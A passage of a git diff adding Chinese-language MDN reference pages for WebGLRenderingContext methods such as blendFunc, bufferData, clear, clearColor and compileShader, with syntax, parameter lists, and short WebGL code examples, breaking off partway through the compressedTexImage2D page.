  • When using a {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, the following values are available additionally: +
      +
    • gl.MIN: Minimum of source and destination,
    • +
    • gl.MAX: Maximum of source and destination.
    • +
    +
  • +
+
+
modeAlpha
+
A {{domxref("GLenum")}} specifying how the alpha component (transparency) of source and destination colors are combined. Must be either: +
    +
  • gl.FUNC_ADD: source + destination (default value),
  • +
  • gl.FUNC_SUBTRACT: source - destination,
  • +
  • gl.FUNC_REVERSE_SUBTRACT: destination - source,
  • +
  • When using the {{domxref("EXT_blend_minmax")}} extension: +
      +
    • ext.MIN_EXT: Minimum of source and destination,
    • +
    • ext.MAX_EXT: Maximum of source and destination.
    • +
    +
  • +
  • When using a {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}}, the following values are available additionally: +
      +
    • gl.MIN: Minimum of source and destination,
    • +
    • gl.MAX: Maximum of source and destination.
    • +
    +
  • +
+
+
+ +

Return value

+ +

None.

+ +

Exceptions

+ +

If mode is not one of the three possible values, a gl.INVALID_ENUM error is thrown.

+ +

Examples

+ +

To set the blend equations, use:

+ +
gl.blendEquationSeparate(gl.FUNC_ADD, gl.FUNC_SUBTRACT);
+
+ +

To get the current blend equations, query the BLEND_EQUATION, BLEND_EQUATION_RGB and BLEND_EQUATION_ALPHA constants which return gl.FUNC_ADD, gl.FUNC_SUBTRACT, gl.FUNC_REVERSE_SUBTRACT, or if the {{domxref("EXT_blend_minmax")}} is enabled: ext.MIN_EXT or ext.MAX_EXT.

+ +
gl.getParameter(gl.BLEND_EQUATION_RGB) === gl.FUNC_ADD;
+// true
+
+gl.getParameter(gl.BLEND_EQUATION_ALPHA) === gl.FUNC_ADD;
+// true
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "blendEquationSeparate")}}{{Spec2('WebGL')}}Initial definition for WebGL.
{{SpecName('OpenGL ES 2.0', "glBlendEquationSeparate.xml", "glBlendEquationSeparate")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL ES 2.0 API.
{{SpecName('OpenGL ES 3.0', "glBlendEquationSeparate.xhtml", "glBlendEquationSeparate")}}{{Spec2('OpenGL ES 3.0')}}Man page of the OpenGL ES 3.0 API.
+ +

Browser compatibility

+ + + +

{{Compat("api.WebGLRenderingContext.blendEquationSeparate")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/blendfunc/index.html b/files/zh-cn/web/api/webglrenderingcontext/blendfunc/index.html new file mode 100644 index 0000000000..1b7bc65eb7 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/blendfunc/index.html @@ -0,0 +1,180 @@ +--- +title: WebGLRenderingContext.blendFunc() +slug: Web/API/WebGLRenderingContext/blendFunc +translation_of: Web/API/WebGLRenderingContext/blendFunc +--- +
{{APIRef("WebGL")}}
+ +

WebGL APIWebGLRenderingContext.blendFunc() 方法定义了一个用于混合像素算法的函数.

+ +

语法

+ +
void gl.blendFunc(sfactor, dfactor);
+
+ +

参数

+ +
+
sfactor
+
 {{domxref("GLenum")}} 为源混合因子指定一个乘数. 默认值是 gl.ONE. 有关可能的值, 查看下面.
+
dfactor
+
 {{domxref("GLenum")}} 为源目标合因子指定一个乘数. 默认值是 gl.ZERO. 有关可能的值, 查看下面.
+
+ +

返回值

+ +

None.

+ +

异常

+ + + +

常量

+ +

下列常数可用于  sfactordfactor.

+ +

混合颜色的公式可以这样描述: color(RGBA) = (sourceColor * sfactor) + (destinationColor * dfactor). RBGA 值在 0 到1 之间.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ConstantFactorDescription
gl.ZERO0,0,0,0所有颜色乘0.
gl.ONE1,1,1,1所有颜色乘1.
gl.SRC_COLORRS, GS, BS, AS将所有颜色乘上源颜色.
gl.ONE_MINUS_SRC_COLOR1-RS, 1-GS, 1-BS, 1-AS每个源颜色所有颜色乘1 .
gl.DST_COLORRD, GD, BD, AD将所有颜色与目标颜色相乘.
gl.ONE_MINUS_DST_COLOR1-RD, 1-GD, 1-BD, 1-AD将所有颜色乘以1减去每个目标颜色.
gl.SRC_ALPHAAS, AS, AS, AS将所有颜色乘以源alpha值.
gl.ONE_MINUS_SRC_ALPHA1-AS, 1-AS, 1-AS, 1-AS将所有颜色乘以1 减去源alpha值.
gl.DST_ALPHAAD, AD, AD, AD将所有颜色与目标alpha值相乘.
gl.ONE_MINUS_DST_ALPHA1-AD, 1-AD, 1-AD, 1-AD将所有颜色乘以1减去目标alpha值.
gl.CONSTANT_COLORRC, GC, BC, AC将所有颜色乘以一个常数颜色.
gl.ONE_MINUS_CONSTANT_COLOR1-RC, 1-GC, 1-BC, 1-AC所有颜色乘以1减去一个常数颜色.
gl.CONSTANT_ALPHAAC, AC, AC, AC将所有颜色乘以一个常数.
gl.ONE_MINUS_CONSTANT_ALPHA1-AC, 1-AC, 1-AC, 1-AC所有颜色乘以1减去一个常数.
gl.SRC_ALPHA_SATURATE +

min(AS, 1 - AD), min(AS, 1 - AD), min(AS, 1 - AD), 1

+
将RGB颜色乘以源alpha值或1减去目标alpha值中的较小值。alpha值乘以1.
+ +

示例

+ +

使用混合函数, 您首先必须使用参数 gl.BLEND来激活{{domxref("WebGLRenderingContext.enable()")}} 的混合.

+ +
gl.enable(gl.BLEND);
+gl.blendFunc(gl.SRC_COLOR, gl.DST_COLOR);
+
+ +

要获得当前的混合函数, 查询BLEND_SRC_RGB, BLEND_SRC_ALPHA, BLEND_DST_RGB, 和BLEND_DST_ALPHA 常量中返回混合函数常量.

+ +
gl.enable(gl.BLEND);
+gl.blendFunc(gl.SRC_COLOR, gl.DST_COLOR);
+gl.getParameter(gl.BLEND_SRC_RGB) == gl.SRC_COLOR;
+// true
+
+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "blendFunc")}}{{Spec2('WebGL')}}Initial definition.
+ In WebGL, constant color and constant alpha cannot be used together as source and destination factors in the blend function. See section 6.13. of the specification.
{{SpecName('OpenGL ES 2.0', "glBlendFunc.xml", "glBlendFunc")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.blendFunc")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/bufferdata/index.html b/files/zh-cn/web/api/webglrenderingcontext/bufferdata/index.html new file mode 100644 index 0000000000..4f6fb7af93 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/bufferdata/index.html @@ -0,0 +1,161 @@ +--- +title: WebGLRenderingContext.bufferData() +slug: Web/API/WebGLRenderingContext/bufferData +tags: + - API + - WebGL + - WebGLRenderingContext + - 参考 + - 方法 +translation_of: Web/API/WebGLRenderingContext/bufferData +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 的WebGLRenderingContext.bufferData()方法创建并初始化了Buffer对象的数据存储区。

+ +

语法

+ +
// WebGL1:
+void gl.bufferData(target, size, usage);
+void gl.bufferData(target, ArrayBuffer? srcData, usage);
+void gl.bufferData(target, ArrayBufferView srcData, usage);
+
+// WebGL2:
+void gl.bufferData(target, ArrayBufferView srcData, usage, srcOffset, length);
+
+ +

参数

+ +
+
target
+
{{domxref("GLenum")}} 指定Buffer绑定点(目标)。可取以下值: +
    +
  • gl.ARRAY_BUFFER: 包含顶点属性的Buffer,如顶点坐标,纹理坐标数据或顶点颜色数据。
  • +
  • gl.ELEMENT_ARRAY_BUFFER: 用于元素索引的Buffer。
  • +
  • 当使用 {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} 时,可以使用以下值: +
      +
    • gl.COPY_READ_BUFFER: 从一个Buffer对象复制到另一个Buffer对象。
    • +
    • gl.COPY_WRITE_BUFFER: 从一个Buffer对象复制到另一个Buffer对象。
    • +
    • gl.TRANSFORM_FEEDBACK_BUFFER: 用于转换反馈操作的Buffer。
    • +
    • gl.UNIFORM_BUFFER: 用于存储统一块的Buffer。
    • +
    • gl.PIXEL_PACK_BUFFER: 用于像素转换操作的Buffer。
    • +
    • gl.PIXEL_UNPACK_BUFFER: 用于像素转换操作的Buffer。
    • +
    +
  • +
+
+
size
+
{{domxref("GLsizeiptr")}} 设定Buffer对象的数据存储区大小。
+
srcData {{optional_inline}}
+
一个{{jsxref("ArrayBuffer")}},{{jsxref("SharedArrayBuffer")}} 或者 {{domxref("ArrayBufferView")}} 类型的数组对象,将被复制到Buffer的数据存储区。 如果为null,数据存储区仍会被创建,但是不会进行初始化和定义。
+
usage
+
{{domxref("GLenum")}} 指定数据存储区的使用方法。可取以下值: +
    +
  • gl.STATIC_DRAW: 缓冲区的内容可能经常使用,而不会经常更改。内容被写入缓冲区,但不被读取。
  • +
  • gl.DYNAMIC_DRAW: 缓冲区的内容可能经常被使用,并且经常更改。内容被写入缓冲区,但不被读取。
  • +
  • gl.STREAM_DRAW: 缓冲区的内容可能不会经常使用。内容被写入缓冲区,但不被读取。
  • +
  • 当使用 {{domxref("WebGL2RenderingContext", "WebGL 2 context", "", 1)}} 时,可以使用以下值: +
      +
    • gl.STATIC_READ: 缓冲区的内容可能经常使用,而不会经常更改。内容从缓冲区读取,但不写入。
    • +
    • gl.DYNAMIC_READ: 缓冲区的内容可能经常使用,并且经常更改。内容从缓冲区读取,但不写入。
    • +
    • gl.STREAM_READ: 缓冲区的内容可能不会经常使用。内容从缓冲区读取,但不写入。
    • +
    • gl.STATIC_COPY: 缓冲区的内容可能经常使用,而不会经常更改。用户不会从缓冲区读取内容,也不写入。
    • +
    • gl.DYNAMIC_COPY: 缓冲区的内容可能经常使用,并且经常更改。用户不会从缓冲区读取内容,也不写入。
    • +
    • gl.STREAM_COPY: 缓冲区的内容可能不会经常使用。用户不会从缓冲区读取内容,也不写入。
    • +
    +
  • +
+
+
srcOffset
+
{{domxref("GLuint")}} 指定读取缓冲时的初始元素索引偏移量。
+
length {{optional_inline}}
+
{{domxref("GLuint")}} 默认为0。
+
+ +

返回值

+ +

None.

+ +

异常

+ + + +

示例

+ +

使用 bufferData

+ +
var canvas = document.getElementById('canvas');
+var gl = canvas.getContext('webgl');
+var buffer = gl.createBuffer();
+gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
+gl.bufferData(gl.ARRAY_BUFFER, 1024, gl.STATIC_DRAW);
+
+ +

获取缓冲区信息

+ +

使用 {{domxref("WebGLRenderingContext.getBufferParameter()")}} 方法检查当前缓冲区的使用情况和缓冲区大小。

+ +
gl.getBufferParameter(gl.ARRAY_BUFFER, gl.BUFFER_SIZE);
+gl.getBufferParameter(gl.ARRAY_BUFFER, gl.BUFFER_USAGE);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态备注
{{SpecName('WebGL', "#5.14.5", "bufferData")}}{{Spec2('WebGL')}}初次定义
{{SpecName('OpenGL ES 2.0', "glBufferData.xml", "glBufferData")}}{{Spec2('OpenGL ES 2.0')}}OpenGL API的手册页
{{SpecName('OpenGL ES 3.0', "glBufferData.xhtml", "glBufferData")}}{{Spec2('OpenGL ES 3.0')}}OpenGL ES 3 API 的手册页
+
+ 新增 target 可取的buffer值:
+ gl.COPY_READ_BUFFER,
+ gl.COPY_WRITE_BUFFER,
+ gl.TRANSFORM_FEEDBACK_BUFFER,
+ gl.UNIFORM_BUFFER,
+ gl.PIXEL_PACK_BUFFER,
+ gl.PIXEL_UNPACK_BUFFER
+
+ 新增 usage 提示:
+ gl.STATIC_READ,
+ gl.DYNAMIC_READ,
+ gl.STREAM_READ,
+ gl.STATIC_COPY,
+ gl.DYNAMIC_COPY,
+ gl.STREAM_COPY.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.bufferData")}}

+ +

更多

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/canvas/index.html b/files/zh-cn/web/api/webglrenderingcontext/canvas/index.html new file mode 100644 index 0000000000..e215713463 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/canvas/index.html @@ -0,0 +1,77 @@ +--- +title: WebGLRenderingContext.canvas +slug: Web/API/WebGLRenderingContext/canvas +tags: + - WebGL + - WebGLRenderingContext + - 只读 + - 属性 +translation_of: Web/API/WebGLRenderingContext/canvas +--- +
{{APIRef("WebGL")}}
+ +

WebGLRenderingContext.canvas 只读属性,对 {{domxref("HTMLCanvasElement")}} 和 {{domxref("OffscreenCanvas")}} 对象的引用。如果绘图上下文没有相关联的 {{HTMLElement("canvas")}} 元素或 {{domxref("OffscreenCanvas")}} 对象,值为 {{jsxref("null")}}。

+ +

语法

+ +
gl.canvas;
+ +

返回值

+ +

{{domxref("HTMLCanvasElement")}} 或 {{domxref("OffscreenCanvas")}} 或 {{jsxref("null")}}。

+ +

示例

+ +

Canvas 元素

+ +

指定 {{HTMLElement("canvas")}} 元素:

+ +
<canvas id="canvas"></canvas>
+
+ +

你可以通过 canvas 得到一个从 WebGLRenderingContext 返回的引用:

+ +
var canvas = document.getElementById("canvas");
+var gl = canvas.getContext("webgl");
+gl.canvas; // HTMLCanvasElement
+
+ +

离屏Canvas

+ +

下面是一个使用试验阶段 {{domxref("OffscreenCanvas")}} 对象的示例:

+ +
var offscreen = new OffscreenCanvas(256, 256);
+var gl = offscreen.getContext("webgl");
+gl.canvas; // OffscreenCanvas
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#DOM-WebGLRenderingContext-canvas", "WebGLRenderingContext.canvas")}}{{Spec2('WebGL')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.canvas")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/clear/index.html b/files/zh-cn/web/api/webglrenderingcontext/clear/index.html new file mode 100644 index 0000000000..ac8f044933 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/clear/index.html @@ -0,0 +1,89 @@ +--- +title: WebGLRenderingContext.clear() +slug: Web/API/WebGLRenderingContext/clear +translation_of: Web/API/WebGLRenderingContext/clear +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 的 WebGLRenderingContext.clear() 方法使用预设值来清空缓冲。

+ +

预设值可以使用 {{domxref("WebGLRenderingContext.clearColor", "clearColor()")}} 、 {{domxref("WebGLRenderingContext.clearDepth", "clearDepth()")}} 或 {{domxref("WebGLRenderingContext.clearStencil", "clearStencil()")}} 设置。

+ +

裁剪、抖动处理和缓冲写入遮罩会影响 clear() 方法。

+ +

句法

+ +
void gl.clear(mask);
+
+ +

参数

+ +
+
mask
+
一个用于指定需要清除的缓冲区的 {{domxref("GLbitfield")}} 。可能的值有: +
    +
  • gl.COLOR_BUFFER_BIT   //颜色缓冲区
  • +
  • gl.DEPTH_BUFFER_BIT   //深度缓冲区
  • +
  • gl.STENCIL_BUFFER_BIT  //模板缓冲区
  • +
+
+
+ +

错误抛出

+ +

如果mask不是以上列出的值,会抛出 gl.INVALID_ENUM 错误。

+ +

返回值

+ +

+ +

示例

+ +

clear() 方法可接受复合值,

+ +
gl.clear(gl.DEPTH_BUFFER_BIT);
+gl.clear(gl.DEPTH_BUFFER_BIT | gl.COLOR_BUFFER_BIT);
+
+ +

要获得当前的清除值,传入 COLOR_CLEAR_VALUE,、DEPTH_CLEAR_VALUE或STENCIL_CLEAR_VALUE 常量。

+ +
gl.getParameter(gl.COLOR_CLEAR_VALUE);
+gl.getParameter(gl.DEPTH_CLEAR_VALUE);
+gl.getParameter(gl.STENCIL_CLEAR_VALUE);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.11", "clear")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glClear.xml", "glClear")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容

+ + + +

{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext.clear")}}

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/clearcolor/index.html b/files/zh-cn/web/api/webglrenderingcontext/clearcolor/index.html new file mode 100644 index 0000000000..09293b4450 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/clearcolor/index.html @@ -0,0 +1,79 @@ +--- +title: WebGLRenderingContext.clearColor() +slug: Web/API/WebGLRenderingContext/clearColor +translation_of: Web/API/WebGLRenderingContext/clearColor +--- +
{{APIRef("WebGL")}}
+ +

WebGL API 的 WebGLRenderingContext.clearColor() 方法用于设置清空颜色缓冲时的颜色值。

+ +

这指定调用 {{domxref("WebGLRenderingContext.clear", "clear()")}} 方法时使用的颜色值。这些值在0到1的范围间。

+ +

句法

+ +
void gl.clearColor(red, green, blue, alpha);
+
+ +

参数

+ +
+
red
+
一个 {{domxref("GLclampf")}} 类型的值,指定清除缓冲时的红色值。默认值:0。
+
green
+
一个 {{domxref("GLclampf")}} 类型的值,指定清除缓冲时的绿色值。默认值:0。
+
blue
+
一个 {{domxref("GLclampf")}} 类型的值,指定清除缓冲时的蓝色值。默认值:0。
+
alpha
+
一个 {{domxref("GLclampf")}} 类型的值,指定清除缓冲时的不透明度。默认值:0。
+
+ +

返回值

+ +

无。

+ +

示例

+ +
gl.clearColor(1, 0.5, 0.5, 3);
+
+ +

要获取当前的清除颜色,传入COLOR_CLEAR_VALUE常量,返回 {{jsxref("Float32Array")}}。

+ +
gl.getParameter(gl.COLOR_CLEAR_VALUE);
+// Float32Array[1, 0.5, 0.5, 1]
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "clearColor")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glClearColor.xml", "glClearColor")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api/WebGLRenderingContext", "WebGLRenderingContext.clearColor")}}

+ +

相关内容

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/cleardepth/index.html b/files/zh-cn/web/api/webglrenderingcontext/cleardepth/index.html new file mode 100644 index 0000000000..a663975cc2 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/cleardepth/index.html @@ -0,0 +1,75 @@ +--- +title: WebGLRenderingContext.clearDepth() +slug: Web/API/WebGLRenderingContext/clearDepth +tags: + - WebGL + - 深度清除值 +translation_of: Web/API/WebGLRenderingContext/clearDepth +--- +
{{APIRef("WebGL")}}
+ +

WebGL APIWebGLRenderingContext.clearDepth() 方法用于设置深度缓冲区的深度清除值。

+ +

这个深度清除值的设定,是为了调用{{domxref("WebGLRenderingContext.clear", "clear()")}} 的时候使用,这个值的范围是0到1。

+ +

语法

+ +
void gl.clearDepth(depth);
+
+ +

参数

+ +
+
depth
+
类型:{{domxref("GLclampf")}}。 深度值的设定,是当清除深度缓冲区的时候使用。默认值为1。
+
+ +

返回值

+ +

None.

+ +

样例

+ +
gl.clearDepth(0.5);
+
+ +

若要获取当前深度清除值,查询DEPTH_CLEAR_VALUE 常量。

+ +
gl.getParameter(gl.DEPTH_CLEAR_VALUE);
+// 0.5
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.3", "clearDepth")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glClearDepthf.xml", "glClearDepthf")}}{{Spec2('OpenGL ES 2.0')}}Man page of the OpenGL API.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.clearDepth")}}

+ +

另见

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/commit/index.html b/files/zh-cn/web/api/webglrenderingcontext/commit/index.html new file mode 100644 index 0000000000..c2e80d04d0 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/commit/index.html @@ -0,0 +1,42 @@ +--- +title: WebGLRenderingContext.commit() +slug: Web/API/WebGLRenderingContext/commit +translation_of: Web/API/WebGLRenderingContext/commit +--- +

{{APIRef("WebGL")}} {{SeeCompatTable}}

+ +

当上下文不是直接固定到一个特定的画布时,WebGLRenderingContext.commit() 方法将帧绘制到其原始的 {{domxref("HTMLCanvasElement")}} 上。

+ +

语法

+ +
void WebGLRenderingContext.commit()
+ +

实例

+ +
var htmlCanvas = document.createElement('canvas');
+var offscreen = htmlCanvas.transferControlToOffscreen();
+var gl = offscreen.getContext('webgl');
+
+// ... 在 gl 离屏上下文中进行一些绘制 ...
+
+// 将帧绘制到 htmlCanvas 上
+gl.commit();
+
+ +

规范

+ +

目前在 OffscreenCanvas 规范中作为草案。

+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.commit")}}

+ +

另请参阅

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/compileshader/index.html b/files/zh-cn/web/api/webglrenderingcontext/compileshader/index.html new file mode 100644 index 0000000000..313989f0aa --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/compileshader/index.html @@ -0,0 +1,81 @@ +--- +title: WebGLRenderingContext.compileShader() +slug: Web/API/WebGLRenderingContext/compileShader +translation_of: Web/API/WebGLRenderingContext/compileShader +--- +
{{APIRef("WebGL")}}
+ +
WebGL API下的方法 WebGLRenderingContext.compileShader()  用于编译一个GLSL着色器,使其成为为二进制数据,然后就可以被{{domxref("WebGLProgram")}}对象所使用.
+ +

语法

+ +
void gl.compileShader(shader);
+
+ +

参数

+ +
+
shader
+
一个片元或顶点着色器 ({{domxref("WebGLShader")}}).
+
+ +

示例

+ +
var shader = gl.createShader(gl.VERTEX_SHADER);
+gl.shaderSource(shader, shaderSource);
+gl.compileShader(shader);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14.9", "compileShader")}}{{Spec2('WebGL')}}Initial definition.
{{SpecName('OpenGL ES 2.0', "glCompileShader.xml", "glCompileShader")}}{{Spec2('OpenGL ES 2.0')}}OpenGL man page.
+ +

浏览器兼容性

+ + + +

{{Compat("api.WebGLRenderingContext.compileShader")}}

+ +

更多:

+ + diff --git a/files/zh-cn/web/api/webglrenderingcontext/compressedteximage2d/index.html b/files/zh-cn/web/api/webglrenderingcontext/compressedteximage2d/index.html new file mode 100644 index 0000000000..939440ed64 --- /dev/null +++ b/files/zh-cn/web/api/webglrenderingcontext/compressedteximage2d/index.html @@ -0,0 +1,242 @@ +--- +title: 'WebGLRenderingContext.compressedTexImage[23]D()' +slug: Web/API/WebGLRenderingContext/compressedTexImage2D +translation_of: Web/API/WebGLRenderingContext/compressedTexImage2D +--- +
{{APIRef("WebGL")}}
+ +

下面这两个function:

+ +

 WebGLRenderingContext.compressedTexImage2D()  and WebGL2RenderingContext.compressedTexImage3D()WebGL API 中特指压缩二维或三维纹理图像的格式。

+ +

在使用这些方法之前,必须通过 WebGL extensions, 也就是 WebGL扩展启用压缩图像格式。

+ +

Syntax

+ +
// WebGL 1:
+void gl.compressedTexImage2D(target, level, internalformat, width, height, border, ArrayBufferView? pixels);
+
+// Additionally available in WebGL 2:
+// read from buffer bound to gl.PIXEL_UNPACK_BUFFER
+void gl.compressedTexImage2D(target, level, internalformat, width, height, border, GLsizei imageSize, GLintptr offset);
+void gl.compressedTexImage2D(target, level, internalformat, width, height, border,
+                             ArrayBufferView srcData, optional srcOffset, optional srcLengthOverride);
+
+ // read from buffer bound to gl.PIXEL_UNPACK_BUFFER
+void gl.compressedTexImage3D(target, level, internalformat, width, height, depth, border, GLsizei imageSize, GLintptr offset);
+void gl.compressedTexImage3D(target, level, internalformat, width, height, depth, border,
+                             ArrayBufferView srcData, optional srcOffset, optional srcLengthOverride);
+ +

Parameters

+ +
+
target
+
A {{domxref("GLenum")}} specifying the binding point (target) of the active texture. Possible values for compressedTexImage2D: +
    +
  • gl.TEXTURE_2D: A two-dimensional texture.
  • +
  • gl.TEXTURE_CUBE_MAP_POSITIVE_X: Positive X face for a cube-mapped texture.
  • +
  • gl.TEXTURE_CUBE_MAP_NEGATIVE_X: Negative X face for a cube-mapped texture.
  • +
  • gl.TEXTURE_CUBE_MAP_POSITIVE_Y: Positive Y face for a cube-mapped texture.
  • +
  • gl.TEXTURE_CUBE_MAP_NEGATIVE_Y: Negative Y face for a cube-mapped texture.
  • +
  • gl.TEXTURE_CUBE_MAP_POSITIVE_Z: Positive Z face for a cube-mapped texture.
  • +
  • gl.TEXTURE_CUBE_MAP_NEGATIVE_Z: Negative Z face for a cube-mapped texture.
  • +
+ Possible values for compressedTexImage3D: + +
    +
  • gl.TEXTURE_2D_ARRAY
  • +
  • gl.TEXTURE_3D
  • +
+
+
level
+
A {{domxref("GLint")}} specifying the level of detail. Level 0 is the base image level and level n is the nth mipmap reduction level.
+
internalformat
+
A {{domxref("GLenum")}} specifying the compressed image format. Compressed image formats must be enabled by WebGL extensions before using this method. All values are possible for compressedTexImage2D. See compressed texture formats for which are valid for compressedTexImage3D. Possible values: +
    +
  • When using the {{domxref("WEBGL_compressed_texture_s3tc")}} extension: +
      +
    • ext.COMPRESSED_RGB_S3TC_DXT1_EXT
    • +
    • ext.COMPRESSED_RGBA_S3TC_DXT1_EXT
    • +
    • ext.COMPRESSED_RGBA_S3TC_DXT3_EXT
    • +
    • ext.COMPRESSED_RGBA_S3TC_DXT5_EXT
    • +
    +
  • +
  • When using the {{domxref("WEBGL_compressed_texture_s3tc_srgb")}} extension: +
      +
    • ext.COMPRESSED_SRGB_S3TC_DXT1_EXT
    • +
    • ext.COMPRESSED_SRGB_ALPHA_S3TC_DXT1_EXT
    • +
    • ext.COMPRESSED_SRGB_ALPHA_S3TC_DXT3_EXT
    • +
    • ext.COMPRESSED_SRGB_ALPHA_S3TC_DXT5_EXT
    • +
    +
  • +
  • When using the {{domxref("WEBGL_compressed_texture_etc")}} extension: +
      +
    • ext.COMPRESSED_R11_EAC
    • +
    • ext.COMPRESSED_SIGNED_R11_EAC
    • +
    • ext.COMPRESSED_RG11_EAC
    • +
    • ext.COMPRESSED_SIGNED_RG11_EAC
    • +
    • ext.COMPRESSED_RGB8_ETC2
    • +
    • ext.COMPRESSED_RGBA8_ETC2_EAC
    • +
    • ext.COMPRESSED_SRGB8_ETC2
    • +
    • ext.COMPRESSED_SRGB8_ALPHA8_ETC2_EAC
    • +
    • ext.COMPRESSED_RGB8_PUNCHTHROUGH_ALPHA1_ETC2
    • +
    • ext.COMPRESSED_SRGB8_PUNCHTHROUGH_ALPHA1_ETC2
    • +
    +
  • +
  • When using the {{domxref("WEBGL_compressed_texture_pvrtc")}} extension: +
      +
    • ext.COMPRESSED_RGB_PVRTC_4BPPV1_IMG
    • +
    • ext.COMPRESSED_RGBA_PVRTC_4BPPV1_IMG
    • +
    • ext.COMPRESSED_RGB_PVRTC_2BPPV1_IMG
    • +
    • ext.COMPRESSED_RGBA_PVRTC_2BPPV1_IMG
    • +
    +
  • +
  • When using the {{domxref("WEBGL_compressed_texture_etc1")}} extension: +
      +
    • ext.COMPRESSED_RGB_ETC1_WEBGL
    • +
    +
  • +
  • When using the {{domxref("WEBGL_compressed_texture_atc")}} extension: +
      +
    • ext.COMPRESSED_RGB_ATC_WEBGL
    • +
    • ext.COMPRESSED_RGBA_ATC_EXPLICIT_ALPHA_WEBGL
    • +
    • ext.COMPRESSED_RGBA_ATC_INTERPOLATED_ALPHA_WEBGL
    • +
    +
  • +
  • When using the {{domxref("WEBGL_compressed_texture_astc")}} extension: +
      +
    • ext.COMPRESSED_RGBA_ASTC_4x4_KHR
      + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_4x4_KHR
    • +
    • ext.COMPRESSED_RGBA_ASTC_5x4_KHR
      + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_5x4_KHR
    • +
    • ext.COMPRESSED_RGBA_ASTC_5x5_KHR
      + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_5x5_KHR
    • +
    • ext.COMPRESSED_RGBA_ASTC_6x5_KHR
      + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_6x5_KHR
    • +
    • ext.COMPRESSED_RGBA_ASTC_6x6_KHR
      + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_6x6_KHR
    • +
    • ext.COMPRESSED_RGBA_ASTC_8x5_KHR
      + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_8x5_KHR
    • +
    • ext.COMPRESSED_RGBA_ASTC_8x6_KHR
      + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_8x6_KHR
    • +
    • ext.COMPRESSED_RGBA_ASTC_8x8_KHR
      + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_8x8_KHR
    • +
    • ext.COMPRESSED_RGBA_ASTC_10x5_KHR
      + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_10x5_KHR
    • +
    • ext.COMPRESSED_RGBA_ASTC_10x6_KHR
      + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_10x6_KHR
    • +
    • ext.COMPRESSED_RGBA_ASTC_10x10_KHR
      + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_10x10_KHR
    • +
    • ext.COMPRESSED_RGBA_ASTC_12x10_KHR
      + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_12x10_KHR
    • +
    • ext.COMPRESSED_RGBA_ASTC_12x12_KHR
      + ext.COMPRESSED_SRGB8_ALPHA8_ASTC_12x12_KHR
    • +
    +
  • +
  • When using the {{domxref("EXT_texture_compression_bptc")}} extension: +
      +
    • ext.COMPRESSED_RGBA_BPTC_UNORM_EXT
    • +
